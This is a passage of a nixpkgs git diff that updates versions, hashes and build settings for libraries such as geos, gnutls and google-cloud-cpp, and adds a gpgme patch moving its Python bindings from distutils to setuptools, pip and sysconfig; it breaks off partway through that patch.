a/pkgs/development/libraries/geos/3.9.nix +++ b/pkgs/development/libraries/geos/3.9.nix @@ -1,22 +1,22 @@ { lib , stdenv , fetchurl +, cmake , testers }: stdenv.mkDerivation (finalAttrs: { pname = "geos"; - version = "3.9.2"; + version = "3.9.5"; src = fetchurl { url = "https://download.osgeo.org/geos/${finalAttrs.pname}-${finalAttrs.version}.tar.bz2"; - sha256 = "sha256-RKWpviHX1HNDa/Yhwt3MPPWou+PHhuEyKWGKO52GEpc="; + hash = "sha256-xsmu36iGT7RLp4kRQIRCOCv9BpDPLUCRrjgFyGN4kDY="; }; - enableParallelBuilding = true; + nativeBuildInputs = [ cmake ]; - # https://trac.osgeo.org/geos/ticket/993 - configureFlags = lib.optional stdenv.isAarch32 "--disable-inline"; + enableParallelBuilding = true; passthru.tests.pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage; diff --git a/pkgs/development/libraries/ghc_filesystem/default.nix b/pkgs/development/libraries/ghc_filesystem/default.nix index 3232d7d8f6151..8dd65a90e5345 100644 --- a/pkgs/development/libraries/ghc_filesystem/default.nix +++ b/pkgs/development/libraries/ghc_filesystem/default.nix @@ -17,6 +17,6 @@ stdenv.mkDerivation rec { description = "header-only single-file C++ std::filesystem compatible helper library"; homepage = "https://github.com/gulrak/filesystem"; license = licenses.mit; - maintainers = with maintainers; [ lourkeur ]; + maintainers = with maintainers; [ bbjubjub ]; }; } diff --git a/pkgs/development/libraries/gjs/default.nix b/pkgs/development/libraries/gjs/default.nix index 1c1c1d5ff407f..dc5f5e46975d2 100644 --- a/pkgs/development/libraries/gjs/default.nix +++ b/pkgs/development/libraries/gjs/default.nix @@ -32,13 +32,13 @@ let ]; in stdenv.mkDerivation (finalAttrs: { pname = "gjs"; - version = "1.78.3"; + version = "1.78.4"; outputs = [ "out" "dev" "installedTests" ]; src = fetchurl { url = "mirror://gnome/sources/gjs/${lib.versions.majorMinor finalAttrs.version}/gjs-${finalAttrs.version}.tar.xz"; - hash = "sha256-QtUDZMql15LHZzT+W7zEudu0iBnaIKQGAGHouVJhNKQ="; + hash = "sha256-mux6uHLCBQQEkHrpTwrnq+yKVL2ciU3bXC0PUekyuaE="; }; patches = [ diff --git a/pkgs/development/libraries/glfw/3.x.nix b/pkgs/development/libraries/glfw/3.x.nix index 01db789a60bdc..014e5f7e9f0e5 100644 --- a/pkgs/development/libraries/glfw/3.x.nix +++ b/pkgs/development/libraries/glfw/3.x.nix @@ -6,14 +6,14 @@ }: stdenv.mkDerivation rec { - version = "3.3.9"; + version = "3.3.10"; pname = "glfw"; src = fetchFromGitHub { owner = "glfw"; repo = "GLFW"; rev = version; - sha256 = "sha256-DlPRNGCBr6XF9Jn8kWs5lCRTyjPeDt/69PNDzBDhoyg="; + sha256 = "sha256-kTRXsfQ+9PFurG3ffz0lwnITAYAXtNl3h/3O6FSny5o="; }; # Fix linkage issues on X11 (https://github.com/NixOS/nixpkgs/issues/142583) diff --git a/pkgs/development/libraries/gnutls/default.nix b/pkgs/development/libraries/gnutls/default.nix index b8c95653e366b..86b22eb7cfd7c 100644 --- a/pkgs/development/libraries/gnutls/default.nix +++ b/pkgs/development/libraries/gnutls/default.nix @@ -1,14 +1,36 @@ -{ config, lib, stdenv, fetchurl, zlib, lzo, libtasn1, nettle, pkg-config, lzip -, perl, gmp, autoconf, automake, libidn2, libiconv +{ config +, lib +, stdenv +, fetchurl +, zlib +, lzo +, libtasn1 +, nettle +, pkg-config +, lzip +, perl +, gmp +, autoconf +, automake +, libidn2 +, libiconv , texinfo -, unbound, dns-root-data, gettext, util-linux +, unbound +, dns-root-data +, gettext +, util-linux , cxxBindings ? !stdenv.hostPlatform.isStatic # tries to link libstdc++.so -, tpmSupport ? false, trousers, which, nettools, libunistring -, withP11-kit ? !stdenv.hostPlatform.isStatic, p11-kit +, tpmSupport ? false +, trousers +, which +, nettools +, libunistring +, withP11-kit ? !stdenv.hostPlatform.isStatic +, p11-kit , Security # darwin Security.framework -# certificate compression - only zlib now, more possible: zstd, brotli + # certificate compression - only zlib now, more possible: zstd, brotli -# for passthru.tests + # for passthru.tests , curlWithGnuTls , emacs , ffmpeg @@ -28,7 +50,7 @@ let # XXX: Gnulib's `test-select' fails on FreeBSD: # https://hydra.nixos.org/build/2962084/nixlog/1/raw . doCheck = !stdenv.isFreeBSD && !stdenv.isDarwin - && stdenv.buildPlatform == stdenv.hostPlatform; + && stdenv.buildPlatform == stdenv.hostPlatform; inherit (stdenv.hostPlatform) isDarwin; in @@ -42,10 +64,12 @@ stdenv.mkDerivation rec { hash = "sha256-90/FlUsn1Oxt+7Ed6ph4iLWxJCiaNwOvytoO5SD0Fz4="; }; - outputs = [ "bin" "dev" "out" "man" "devdoc" ]; + outputs = [ "bin" "dev" "out" ] + ++ lib.optionals (!stdenv.hostPlatform.isMinGW) [ "man" "devdoc" ]; + # Not normally useful docs. outputInfo = "devdoc"; - outputDoc = "devdoc"; + outputDoc = "devdoc"; patches = [ ./nix-ssl-cert-file.patch @@ -68,15 +92,17 @@ stdenv.mkDerivation rec { preConfigure = "patchShebangs ."; configureFlags = lib.optionals withP11-kit [ - "--with-default-trust-store-file=/etc/ssl/certs/ca-certificates.crt" - "--with-default-trust-store-pkcs11=pkcs11:" - ] ++ [ - "--disable-dependency-tracking" - "--enable-fast-install" - "--with-unbound-root-key-file=${dns-root-data}/root.key" - (lib.withFeature withP11-kit "p11-kit") - (lib.enableFeature cxxBindings "cxx") - ]; + "--with-default-trust-store-file=/etc/ssl/certs/ca-certificates.crt" + "--with-default-trust-store-pkcs11=pkcs11:" + ] ++ [ + "--disable-dependency-tracking" + "--enable-fast-install" + "--with-unbound-root-key-file=${dns-root-data}/root.key" + (lib.withFeature withP11-kit "p11-kit") + (lib.enableFeature cxxBindings "cxx") + ] ++ lib.optionals (stdenv.hostPlatform.isMinGW) [ + "--disable-doc" + ]; enableParallelBuilding = true; @@ -121,17 +147,17 @@ stdenv.mkDerivation rec { description = "The GNU Transport Layer Security Library"; longDescription = '' - GnuTLS is a project that aims to develop a library which - provides a secure layer, over a reliable transport - layer. Currently the GnuTLS library implements the proposed standards by - the IETF's TLS working group. + GnuTLS is a project that aims to develop a library which + provides a secure layer, over a reliable transport + layer. Currently the GnuTLS library implements the proposed standards by + the IETF's TLS working group. - Quoting from the TLS protocol specification: + Quoting from the TLS protocol specification: - "The TLS protocol provides communications privacy over the - Internet. The protocol allows client/server applications to - communicate in a way that is designed to prevent eavesdropping, - tampering, or message forgery." + "The TLS protocol provides communications privacy over the + Internet. The protocol allows client/server applications to + communicate in a way that is designed to prevent eavesdropping, + tampering, or message forgery." ''; homepage = "https://gnutls.org/"; diff --git a/pkgs/development/libraries/goffice/default.nix b/pkgs/development/libraries/goffice/default.nix index 2d25a6d9e4d6a..97779b477c309 100644 --- a/pkgs/development/libraries/goffice/default.nix +++ b/pkgs/development/libraries/goffice/default.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "goffice"; - version = "0.10.56"; + version = "0.10.57"; outputs = [ "out" "dev" "devdoc" ]; src = fetchurl { url = "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz"; - sha256 = "uGQKL+4MCld4SypbkpRKKTLHidsQOd31ommtY0eW5+I="; + hash = "sha256-Zr/X4x0vZ1bVpiw2cDg8u6ArPLTBBClQGSqAG3Kjyas="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/google-cloud-cpp/default.nix b/pkgs/development/libraries/google-cloud-cpp/default.nix index 0a6be882120ba..4d8ef6821240e 100644 --- a/pkgs/development/libraries/google-cloud-cpp/default.nix +++ b/pkgs/development/libraries/google-cloud-cpp/default.nix @@ -28,7 +28,6 @@ let rev = googleapisRev; hash = "sha256-4Qiz0pBgW3OZi+Z8Zq6k9E94+8q6/EFMwPh8eQxDjdI="; }; - excludedTests = builtins.fromTOML (builtins.readFile ./skipped_tests.toml); in stdenv.mkDerivation rec { pname = "google-cloud-cpp"; @@ -106,16 +105,17 @@ stdenv.mkDerivation rec { lib.optionalString doInstallCheck ( lib.optionalString (!staticOnly) '' export ${ldLibraryPathName}=${lib.concatStringsSep ":" additionalLibraryPaths} - '' + '' - export GTEST_FILTER="-${lib.concatStringsSep ":" excludedTests.cases}" '' ); installCheckPhase = lib.optionalString doInstallCheck '' runHook preInstallCheck - # disable tests that contact the internet - ctest --exclude-regex '^(${lib.concatStringsSep "|" excludedTests.whole})' + # Disable any integration tests, which need to contact the internet. + # Also disable the `storage_benchmark_*` tests. + # With Protobuf < 23.x they require -DGOOGLE_CLOUD_CPP_ENABLE_CTYPE_WORKAROUND=ON. + # With Protobuf >= 23.x they require They require setting -DGOOGLE_CLOUD_CPP_ENABLE_CTYPE_WORKAROUND=OFF + ctest --label-exclude integration-test --exclude-regex storage_benchmarks_ runHook postInstallCheck ''; diff --git a/pkgs/development/libraries/google-cloud-cpp/skipped_tests.toml b/pkgs/development/libraries/google-cloud-cpp/skipped_tests.toml deleted file mode 100644 index d4ac469fbcffe..0000000000000 --- a/pkgs/development/libraries/google-cloud-cpp/skipped_tests.toml +++ /dev/null @@ -1,139 +0,0 @@ -whole = [ - "common_samples_samples", - "common_internal_grpc_impersonate_service_account_integration_test", - "common_internal_unified_rest_credentials_integration_test", - "iam_samples_iam_credentials_samples", - "iam_samples_iam_samples", - "iam_admin_v1_samples_iam_client_samples", - "iam_credentials_v1_samples_iam_credentials_client_samples", - "iam_v1_samples_iam_policy_client_samples", - "iam_v2_samples_policies_client_samples", - "bigtable_admin_admin_iam_policy_integration_test", - "bigtable_bigtable_instance_admin_client_samples", - "bigtable_bigtable_table_admin_client_samples", - "bigtable_apply_read_latency_benchmark", - "bigtable_endurance_benchmark", - "bigtable_mutation_batcher_throughput_benchmark", - "bigtable_read_sync_vs_async_benchmark", - "bigtable_scan_throughput_benchmark", - "bigtable_admin_iam_policy_integration_test", - "bigtable_data_async_future_integration_test", - "bigtable_data_integration_test", - "bigtable_filters_integration_test", - "bigtable_mutations_integration_test", - "bigtable_table_sample_rows_integration_test", - "bigquery_samples_bigquery_read_samples", - "bigquery_analyticshub_v1_samples_analytics_hub_client_samples", - "bigquery_biglake_v1_samples_metastore_client_samples", - "bigquery_connection_v1_samples_connection_client_samples", - "bigquery_datapolicies_v1_samples_data_policy_client_samples", - "bigquery_datatransfer_v1_samples_data_transfer_client_samples", - "bigquery_migration_v2_samples_migration_client_samples", - "bigquery_reservation_v1_samples_reservation_client_samples", - "bigquery_storage_v1_samples_bigquery_read_client_samples", - "bigquery_storage_v1_samples_bigquery_write_client_samples", - "logging_quickstart", - "logging_v2_samples_config_service_v2_client_samples", - "logging_v2_samples_logging_service_v2_client_samples", - "logging_v2_samples_metrics_service_v2_client_samples", - "pubsub_endurance", - "pubsub_throughput", - "pubsub_subscriber_integration_test", - "pubsub_subscription_admin_integration_test", - "pubsub_topic_admin_integration_test", - "spanner_client_integration_test", - "spanner_client_stress_test", - "spanner_data_types_integration_test", - "spanner_database_admin_integration_test", - "spanner_instance_admin_integration_test", - "spanner_session_pool_integration_test", - "spanner_admin_database_admin_integration_test", - "spanner_admin_instance_admin_integration_test", - "spanner_database_admin_client_samples", - "spanner_instance_admin_client_samples", - "spanner_multiple_rows_cpu_benchmark", - "spanner_single_row_throughput_benchmark", - "storage_alternative_endpoint_integration_test", - "storage_auto_finalize_integration_test", - "storage_bucket_integration_test", - "storage_create_client_integration_test", - "storage_curl_sign_blob_integration_test", - "storage_decompressive_transcoding_integration_test", - "storage_grpc_bucket_acl_integration_test", - "storage_grpc_bucket_metadata_integration_test", - "storage_grpc_default_object_acl_integration_test", - "storage_grpc_integration_test", - "storage_grpc_object_acl_integration_test", - "storage_grpc_object_media_integration_test", - "storage_grpc_object_metadata_integration_test", - "storage_key_file_integration_test", - "storage_minimal_iam_credentials_rest_integration_test", - "storage_object_basic_crud_integration_test", - "storage_object_checksum_integration_test", - "storage_object_compose_many_integration_test", - "storage_object_file_integration_test", - "storage_object_hash_integration_test", - "storage_object_insert_integration_test", - "storage_object_insert_preconditions_integration_test", - "storage_object_integration_test", - "storage_object_list_objects_versions_integration_test", - "storage_object_media_integration_test", - "storage_object_parallel_upload_integration_test", - "storage_object_plenty_clients_serially_integration_test", - "storage_object_plenty_clients_simultaneously_integration_test", - "storage_object_read_headers_integration_test", - "storage_object_read_preconditions_integration_test", - "storage_object_read_range_integration_test", - "storage_object_read_stream_integration_test", - "storage_object_resumable_parallel_upload_integration_test", - "storage_object_resumable_write_integration_test", - "storage_object_rewrite_integration_test", - "storage_object_write_preconditions_integration_test", - "storage_object_write_stream_integration_test", - "storage_object_write_streambuf_integration_test", - "storage_service_account_integration_test", - "storage_signed_url_integration_test", - "storage_small_reads_integration_test", - "storage_thread_integration_test", - "storage_tracing_integration_test", - "storage_unified_credentials_integration_test", - "storage_aggregate_download_throughput_benchmark", - "storage_aggregate_upload_throughput_benchmark", - "storage_create_dataset", - "storage_storage_file_transfer_benchmark", - "storage_storage_parallel_uploads_benchmark", - "storage_storage_throughput_vs_cpu_benchmark", - "storage_throughput_experiment_test" -] -cases = [ - "BackupExtraIntegrationTest.CreateBackupWithExpiredVersionTime", - "BackupExtraIntegrationTest.BackupWithExpiredVersionTime", - "BackupExtraIntegrationTest.BackupWithFutureVersionTime", - "BackupExtraIntegrationTest.CreateBackupWithFutureVersionTime", - "BlockingPublisherIntegrationTest.Basic", - "DatabaseAdminClientTest.CreateWithEncryptionKey", - "DatabaseAdminClientTest.CreateWithNonexistentEncryptionKey", - "DatabaseAdminClientTest.DatabaseBasicCRUD", - "DatabaseAdminClientTest.VersionRetentionPeriodCreate", - "DatabaseAdminClientTest.VersionRetentionPeriodCreateFailure", - "DatabaseAdminClientTest.VersionRetentionPeriodUpdate", - "DatabaseAdminClientTest.VersionRetentionPeriodUpdateFailure", - "ErrorParsingIntegrationTest.FailureContainsErrorInfo", - "GrpcServiceAccountIntegrationTest.GetServiceAccount", - "GrpcBucketMetadataIntegrationTest.ObjectMetadataCRUD", - "InstanceAdminClientTest.InstanceConfig", - "InstanceAdminClientTest.InstanceIam", - "InstanceAdminClientTest.InstanceReadOperations", - "LoggingIntegrationTest.ListMonitoredResourceDescriptors", - "LoggingIntegrationTest.WriteLogEntries", - "ObjectFileMultiThreadedTest.Download", - "ObjectReadLargeIntegrationTest.LimitedMemoryGrowth", - "SubscriberIntegrationTest.FireAndForget", - "SubscriberIntegrationTest.PublishOrdered", - "SubscriberIntegrationTest.PublishPullAck", - "SubscriberIntegrationTest.RawStub", - "SubscriberIntegrationTest.ReportNotFound", - "SubscriberIntegrationTest.StreamingSubscriptionBatchSource", - "SubscriptionAdminIntegrationTest.SubscriptionCRUD", - "TopicAdminIntegrationTest.TopicCRUD" -] diff --git a/pkgs/development/libraries/gpgme/default.nix b/pkgs/development/libraries/gpgme/default.nix index ca359fcc912b6..c712b5195dc52 100644 --- a/pkgs/development/libraries/gpgme/default.nix +++ b/pkgs/development/libraries/gpgme/default.nix @@ -1,7 +1,6 @@ { lib , stdenv , fetchurl -, fetchpatch , autoreconfHook , libgpg-error , gnupg @@ -9,7 +8,6 @@ , glib , pth , libassuan -, file , which , ncurses , texinfo @@ -22,28 +20,34 @@ , qt6Packages , python3 }: -let - inherit (stdenv.hostPlatform) system; -in + stdenv.mkDerivation rec { pname = "gpgme"; version = "1.23.2"; + pyproject = true; + + outputs = [ "out" "dev" "info" ]; + + outputBin = "dev"; # gpgme-config; not so sure about gpgme-tool src = fetchurl { - url = "mirror://gnupg/gpgme/${pname}-${version}.tar.bz2"; + url = "mirror://gnupg/gpgme/gpgme-${version}.tar.bz2"; hash = "sha256-lJnosfM8zLaBVSehvBYEnTWmGYpsX64BhfK9VhvOUiQ="; }; patches = [ - # Support Python 3.10 version detection without distutils, https://dev.gnupg.org/D545 - ./python-310-detection-without-distutils.patch + # Support Python 3.10-3.12, remove distutils, https://dev.gnupg.org/D545 + ./python-310-312-remove-distutils.patch # Fix a test after disallowing compressed signatures in gpg (PR #180336) ./test_t-verify_double-plaintext.patch ]; - outputs = [ "out" "dev" "info" ]; - - outputBin = "dev"; # gpgme-config; not so sure about gpgme-tool + postPatch = '' + # autoconf's beta detection requires a git repo to work + # and otherwise appends -unknown to the version number used in the python package which pip stumbles upon + substituteInPlace autogen.sh \ + --replace-fail 'tmp="-unknown"' 'tmp=""' + ''; nativeBuildInputs = [ autoreconfHook @@ -52,6 +56,9 @@ stdenv.mkDerivation rec { texinfo ] ++ lib.optionals pythonSupport [ python3.pythonOnBuildForHost + python3.pkgs.pip + python3.pkgs.setuptools + python3.pkgs.wheel ncurses swig2 which diff --git a/pkgs/development/libraries/gpgme/python-310-312-remove-distutils.patch b/pkgs/development/libraries/gpgme/python-310-312-remove-distutils.patch new file mode 100644 index 0000000000000..774188aee89cd --- /dev/null +++ b/pkgs/development/libraries/gpgme/python-310-312-remove-distutils.patch @@ -0,0 +1,647 @@ +diff --git a/lang/python/Makefile.am b/lang/python/Makefile.am +--- a/lang/python/Makefile.am ++++ b/lang/python/Makefile.am +@@ -34,8 +34,8 @@ + .PHONY: prepare + prepare: copystamp + +-# For VPATH builds we need to copy some files because Python's +-# distutils are not VPATH-aware. ++# For VPATH builds we need to copy some files because Python ++# is not VPATH-aware. + copystamp: + ln -sf "$(top_srcdir)/src/data.h" . + ln -sf "$(top_builddir)/conf/config.h" . +@@ -48,7 +48,7 @@ + CFLAGS="$(CFLAGS)" \ + srcdir="$(srcdir)" \ + top_builddir="$(top_builddir)" \ +- $$PYTHON setup.py build --verbose --build-base="$$(basename "$${PYTHON}")-gpg" ; \ ++ $$PYTHON -m pip --verbose install --no-index --no-build-isolation --root="$$(basename "$${PYTHON}")-gpg" ${srcdir} ; \ + done + + python$(PYTHON_VERSION)-gpg/dist/gpg-$(VERSION).tar.gz.asc: copystamp +@@ -57,8 +57,7 @@ + CFLAGS="$(CFLAGS)" \ + srcdir="$(srcdir)" \ + top_builddir="$(top_builddir)" \ +- $(PYTHON) setup.py sdist --verbose --dist-dir=python$(PYTHON_VERSION)-gpg-dist \ +- --manifest=python$(PYTHON_VERSION)-gpg-dist/MANIFEST ++ $(PYTHON) -m build --sdist --outdir=python$(PYTHON_VERSION)-gpg-dist + gpgbin=gpgconf --list-components | grep OpenPGP | sed -e 's/gpg:OpenPGP://g' + $(gpgbin) --detach-sign --armor python$(PYTHON_VERSION)-gpg-dist/gpg-$(VERSION).tar.gz + +@@ -92,17 +91,16 @@ + CFLAGS="$(CFLAGS)" \ + srcdir="$(srcdir)" \ + top_builddir="$(top_builddir)" \ +- $$PYTHON setup.py \ +- build \ +- --build-base="$$(basename "$${PYTHON}")-gpg" \ ++ $$PYTHON -m pip --verbose \ + install \ ++ --no-index --no-build-isolation \ + --prefix "$(DESTDIR)$(prefix)" \ +- --verbose ; \ ++ ${srcdir} ; \ + done + + uninstall-local: + set -x; GV=$$(echo $(VERSION) | tr - _); for PYTHON in $(PYTHONS); do \ + PLATLIB="$(prefix)/$$("$${PYTHON}" -c 'import sysconfig, os; print(os.path.relpath(sysconfig.get_path("platlib", scheme="posix_prefix"), sysconfig.get_config_var("prefix")))')" ; \ + rm -rf -- "$(DESTDIR)$${PLATLIB}/gpg" \ +- "$(DESTDIR)$${PLATLIB}"/gpg-$$GV-py*.egg-info ; \ ++ "$(DESTDIR)$${PLATLIB}"/gpg-$$GV.dist-info ; \ + done +diff --git a/lang/python/doc/src/gpgme-python-howto.org b/lang/python/doc/src/gpgme-python-howto.org +--- a/lang/python/doc/src/gpgme-python-howto.org ++++ b/lang/python/doc/src/gpgme-python-howto.org +@@ -2945,7 +2945,7 @@ + =setup.py= file which contains this: + + #+BEGIN_SRC python -i +-from distutils.core import setup ++from setuptools import setup + from Cython.Build import cythonize + + setup( +diff --git a/lang/python/examples/howto/advanced/cython/setup.py b/lang/python/examples/howto/advanced/cython/setup.py +--- a/lang/python/examples/howto/advanced/cython/setup.py ++++ b/lang/python/examples/howto/advanced/cython/setup.py +@@ -1,4 +1,4 @@ +-from distutils.core import setup ++from setuptools import setup + from Cython.Build import cythonize + + setup( +diff --git a/lang/python/setup.py.in b/lang/python/setup.py.in +--- a/lang/python/setup.py.in ++++ b/lang/python/setup.py.in +@@ -18,8 +18,8 @@ + # License along with this library; if not, write to the Free Software + # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +-from distutils.core import setup, Extension +-from distutils.command.build import build ++from setuptools import setup, Extension ++from setuptools.command.build import build + + import glob + import os +@@ -225,9 +225,8 @@ + build.run(self) + + +-py3 = [] if sys.version_info.major < 3 else ['-py3'] + swig_sources = [] +-swig_opts = ['-threads'] + py3 + extra_swig_opts ++swig_opts = ['-threads'] + extra_swig_opts + swige = Extension( + 'gpg._gpgme', + sources=swig_sources, +diff --git a/m4/ax_python_devel.m4 b/m4/ax_python_devel.m4 +--- a/m4/ax_python_devel.m4 ++++ b/m4/ax_python_devel.m4 +@@ -1,10 +1,10 @@ + # =========================================================================== +-# https://www.gnu.org/software/autoconf-archive/ax_python_devel.html ++# https://www.gnu.org/software/autoconf-archive/ax_python_devel.html + # =========================================================================== + # + # SYNOPSIS + # +-# AX_PYTHON_DEVEL([version]) ++# AX_PYTHON_DEVEL([version[,optional]]) + # + # DESCRIPTION + # +@@ -12,8 +12,8 @@ + # in your configure.ac. + # + # This macro checks for Python and tries to get the include path to +-# 'Python.h'. It provides the $(PYTHON_CPPFLAGS) and $(PYTHON_LDFLAGS) +-# output variables. It also exports $(PYTHON_EXTRA_LIBS) and ++# 'Python.h'. It provides the $(PYTHON_CPPFLAGS) and $(PYTHON_LIBS) output ++# variables. It also exports $(PYTHON_EXTRA_LIBS) and + # $(PYTHON_EXTRA_LDFLAGS) for embedding Python in your code. + # + # You can search for some particular version of Python by passing a +@@ -23,6 +23,11 @@ + # version number. Don't use "PYTHON_VERSION" for this: that environment + # variable is declared as precious and thus reserved for the end-user. + # ++# By default this will fail if it does not detect a development version of ++# python. If you want it to continue, set optional to true, like ++# AX_PYTHON_DEVEL([], [true]). The ax_python_devel_found variable will be ++# "no" if it fails. ++# + # This macro should work for all versions of Python >= 2.1.0. As an end + # user, you can disable the check for the python version by setting the + # PYTHON_NOVERSIONCHECK environment variable to something else than the +@@ -67,10 +72,18 @@ + # modified version of the Autoconf Macro, you may extend this special + # exception to the GPL to apply to your modified version as well. + +-#serial 17 ++#serial 36 + + AU_ALIAS([AC_PYTHON_DEVEL], [AX_PYTHON_DEVEL]) + AC_DEFUN([AX_PYTHON_DEVEL],[ ++ # Get whether it's optional ++ if test -z "$2"; then ++ ax_python_devel_optional=false ++ else ++ ax_python_devel_optional=$2 ++ fi ++ ax_python_devel_found=yes ++ + # + # Allow the use of a (user set) custom python version + # +@@ -81,81 +94,147 @@ + + AC_PATH_PROG([PYTHON],[python[$PYTHON_VERSION]]) + if test -z "$PYTHON"; then +- AC_MSG_ERROR([Cannot find python$PYTHON_VERSION in your system path]) ++ AC_MSG_WARN([Cannot find python$PYTHON_VERSION in your system path]) ++ if ! $ax_python_devel_optional; then ++ AC_MSG_ERROR([Giving up, python development not available]) ++ fi ++ ax_python_devel_found=no + PYTHON_VERSION="" + fi + +- # +- # Check for a version of Python >= 2.1.0 +- # +- AC_MSG_CHECKING([for a version of Python >= '2.1.0']) +- ac_supports_python_ver=`$PYTHON -c "import sys; \ ++ if test $ax_python_devel_found = yes; then ++ # ++ # Check for a version of Python >= 2.1.0 ++ # ++ AC_MSG_CHECKING([for a version of Python >= '2.1.0']) ++ ac_supports_python_ver=`$PYTHON -c "import sys; \ + ver = sys.version.split ()[[0]]; \ + print (ver >= '2.1.0')"` +- if test "$ac_supports_python_ver" != "True"; then ++ if test "$ac_supports_python_ver" != "True"; then + if test -z "$PYTHON_NOVERSIONCHECK"; then + AC_MSG_RESULT([no]) +- AC_MSG_FAILURE([ ++ AC_MSG_WARN([ + This version of the AC@&t@_PYTHON_DEVEL macro + doesn't work properly with versions of Python before + 2.1.0. You may need to re-run configure, setting the +-variables PYTHON_CPPFLAGS, PYTHON_LDFLAGS, PYTHON_SITE_PKG, ++variables PYTHON_CPPFLAGS, PYTHON_LIBS, PYTHON_SITE_PKG, + PYTHON_EXTRA_LIBS and PYTHON_EXTRA_LDFLAGS by hand. + Moreover, to disable this check, set PYTHON_NOVERSIONCHECK + to something else than an empty string. + ]) ++ if ! $ax_python_devel_optional; then ++ AC_MSG_FAILURE([Giving up]) ++ fi ++ ax_python_devel_found=no ++ PYTHON_VERSION="" + else + AC_MSG_RESULT([skip at user request]) + fi +- else ++ else + AC_MSG_RESULT([yes]) ++ fi + fi + +- # +- # if the macro parameter ``version'' is set, honour it +- # +- if test -n "$1"; then ++ if test $ax_python_devel_found = yes; then ++ # ++ # If the macro parameter ``version'' is set, honour it. ++ # A Python shim class, VPy, is used to implement correct version comparisons via ++ # string expressions, since e.g. a naive textual ">= 2.7.3" won't work for ++ # Python 2.7.10 (the ".1" being evaluated as less than ".3"). ++ # ++ if test -n "$1"; then + AC_MSG_CHECKING([for a version of Python $1]) +- ac_supports_python_ver=`$PYTHON -c "import sys; \ +- ver = sys.version.split ()[[0]]; \ ++ cat << EOF > ax_python_devel_vpy.py ++class VPy: ++ def vtup(self, s): ++ return tuple(map(int, s.strip().replace("rc", ".").split("."))) ++ def __init__(self): ++ import sys ++ self.vpy = tuple(sys.version_info)[[:3]] ++ def __eq__(self, s): ++ return self.vpy == self.vtup(s) ++ def __ne__(self, s): ++ return self.vpy != self.vtup(s) ++ def __lt__(self, s): ++ return self.vpy < self.vtup(s) ++ def __gt__(self, s): ++ return self.vpy > self.vtup(s) ++ def __le__(self, s): ++ return self.vpy <= self.vtup(s) ++ def __ge__(self, s): ++ return self.vpy >= self.vtup(s) ++EOF ++ ac_supports_python_ver=`$PYTHON -c "import ax_python_devel_vpy; \ ++ ver = ax_python_devel_vpy.VPy(); \ + print (ver $1)"` ++ rm -rf ax_python_devel_vpy*.py* __pycache__/ax_python_devel_vpy*.py* + if test "$ac_supports_python_ver" = "True"; then +- AC_MSG_RESULT([yes]) ++ AC_MSG_RESULT([yes]) + else + AC_MSG_RESULT([no]) +- AC_MSG_ERROR([this package requires Python $1. ++ AC_MSG_WARN([this package requires Python $1. + If you have it installed, but it isn't the default Python + interpreter in your system path, please pass the PYTHON_VERSION + variable to configure. See ``configure --help'' for reference. + ]) ++ if ! $ax_python_devel_optional; then ++ AC_MSG_ERROR([Giving up]) ++ fi ++ ax_python_devel_found=no + PYTHON_VERSION="" + fi ++ fi + fi + +- # +- # Check if you have distutils, else fail +- # +- AC_MSG_CHECKING([for the distutils Python package]) +- ac_distutils_result=`$PYTHON -c "import distutils" 2>&1` +- if test -z "$ac_distutils_result"; then ++ if test $ax_python_devel_found = yes; then ++ # ++ # Check if you have distutils, else fail ++ # ++ AC_MSG_CHECKING([for the sysconfig Python package]) ++ ac_sysconfig_result=`$PYTHON -c "import sysconfig" 2>&1` ++ if test $? -eq 0; then + AC_MSG_RESULT([yes]) +- else ++ IMPORT_SYSCONFIG="import sysconfig" ++ else + AC_MSG_RESULT([no]) +- AC_MSG_ERROR([cannot import Python module "distutils". ++ ++ AC_MSG_CHECKING([for the distutils Python package]) ++ ac_sysconfig_result=`$PYTHON -c "from distutils import sysconfig" 2>&1` ++ if test $? -eq 0; then ++ AC_MSG_RESULT([yes]) ++ IMPORT_SYSCONFIG="from distutils import sysconfig" ++ else ++ AC_MSG_WARN([cannot import Python module "distutils". + Please check your Python installation. The error was: +-$ac_distutils_result]) +- PYTHON_VERSION="" ++$ac_sysconfig_result]) ++ if ! $ax_python_devel_optional; then ++ AC_MSG_ERROR([Giving up]) ++ fi ++ ax_python_devel_found=no ++ PYTHON_VERSION="" ++ fi ++ fi + fi + +- # +- # Check for Python include path +- # +- AC_MSG_CHECKING([for Python include path]) +- if test -z "$PYTHON_CPPFLAGS"; then +- python_path=`$PYTHON -c "import distutils.sysconfig; \ +- print (distutils.sysconfig.get_python_inc ());"` +- plat_python_path=`$PYTHON -c "import distutils.sysconfig; \ +- print (distutils.sysconfig.get_python_inc (plat_specific=1));"` ++ if test $ax_python_devel_found = yes; then ++ # ++ # Check for Python include path ++ # ++ AC_MSG_CHECKING([for Python include path]) ++ if test -z "$PYTHON_CPPFLAGS"; then ++ if test "$IMPORT_SYSCONFIG" = "import sysconfig"; then ++ # sysconfig module has different functions ++ python_path=`$PYTHON -c "$IMPORT_SYSCONFIG; \ ++ print (sysconfig.get_path ('include'));"` ++ plat_python_path=`$PYTHON -c "$IMPORT_SYSCONFIG; \ ++ print (sysconfig.get_path ('platinclude'));"` ++ else ++ # old distutils way ++ python_path=`$PYTHON -c "$IMPORT_SYSCONFIG; \ ++ print (sysconfig.get_python_inc ());"` ++ plat_python_path=`$PYTHON -c "$IMPORT_SYSCONFIG; \ ++ print (sysconfig.get_python_inc (plat_specific=1));"` ++ fi + if test -n "${python_path}"; then + if test "${plat_python_path}" != "${python_path}"; then + python_path="-I$python_path -I$plat_python_path" +@@ -164,22 +243,22 @@ + fi + fi + PYTHON_CPPFLAGS=$python_path +- fi +- AC_MSG_RESULT([$PYTHON_CPPFLAGS]) +- AC_SUBST([PYTHON_CPPFLAGS]) ++ fi ++ AC_MSG_RESULT([$PYTHON_CPPFLAGS]) ++ AC_SUBST([PYTHON_CPPFLAGS]) + +- # +- # Check for Python library path +- # +- AC_MSG_CHECKING([for Python library path]) +- if test -z "$PYTHON_LDFLAGS"; then ++ # ++ # Check for Python library path ++ # ++ AC_MSG_CHECKING([for Python library path]) ++ if test -z "$PYTHON_LIBS"; then + # (makes two attempts to ensure we've got a version number + # from the interpreter) + ac_python_version=`cat<<EOD | $PYTHON 